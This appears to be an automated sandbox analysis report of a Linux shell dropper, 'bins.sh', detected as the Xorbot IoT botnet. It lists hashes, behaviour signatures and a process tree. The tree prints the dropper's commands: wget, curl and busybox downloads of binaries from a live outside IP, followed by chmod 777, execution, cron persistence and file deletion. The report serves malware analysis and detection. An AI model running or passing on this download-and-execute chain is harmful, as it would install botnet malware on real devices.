Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03-12-2024 02:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1da16902d7c5601131994e6c7188579b

  • SHA1

    66658b1510c47b2293d64f6f29ffadfaac1ba126

  • SHA256

    a527f457c05c52627d9ac88b3fb6f7dd65b7de796e8c1bab1d761c3dd2a83dc6

  • SHA512

    c9959bb121b46e0ff62f2750ea6927810ae204a778e28ba2db6f9a2dee9b38296642c45af45fcb9f8f25c84402e45e50009c3c119db97b18d06ea84dda785fb4

  • SSDEEP

    192:k2c41phAQq2Si/XdccYcXTOU1phAQkLG2Si/XU/YO:k2c41phAQq2Si/XdccYcXTOU1phAQkLC

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2058) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:656
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:660
        • /usr/bin/wget
          wget http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Writes file to tmp directory
          PID:666
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:680
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Writes file to tmp directory
          PID:688
        • /bin/chmod
          chmod 777 OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • File and Directory Permissions Modification
          PID:690
        • /tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          ./OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:691
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:693
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:694
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:695
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:696
            • /bin/rm
              rm OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
              2⤵
                PID:698
              • /usr/bin/wget
                wget http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
                2⤵
                  PID:701
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
                  2⤵
                    PID:702
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
                    2⤵
                    • Writes file to tmp directory
                    PID:783
                  • /bin/chmod
                    chmod 777 p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
                    2⤵
                    • File and Directory Permissions Modification
                    PID:784
                  • /tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
                    ./p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
                    2⤵
                    • Executes dropped EXE
                    PID:785
                  • /bin/rm
                    rm p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
                    2⤵
                      PID:787
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
                      2⤵
                      • System Network Configuration Discovery
                      PID:788

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5

                    Filesize

                    119KB

                    MD5

                    1b166b95f9cb4b079ef1b9ec8363ddf3

                    SHA1

                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                    SHA256

                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                    SHA512

                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                  • /tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1

                    Filesize

                    151KB

                    MD5

                    3c90d5820bddcf7c5d1bd21dfa49d958

                    SHA1

                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                    SHA256

                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                    SHA512

                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                  • /var/spool/cron/crontabs/tmp.5K6qk0

                    Filesize

                    210B

                    MD5

                    5f04bad6787924e2d6567369df76c1a0

                    SHA1

                    d21ad6556475270e1f9a4c5e274cb09752cfbda0

                    SHA256

                    70ec83b731051f0ba168468ed13977c55f4496d63e8ad763ec585ac8a4b4cb63

                    SHA512

                    b2772d2142b551e2cee54f1ebd9296ed5440b8cbf955b40d54f5473617f6a3ac888ca8759fa8ad85333539a379fa1552e218b2bc01c7b21ef2ed370fe8b85b39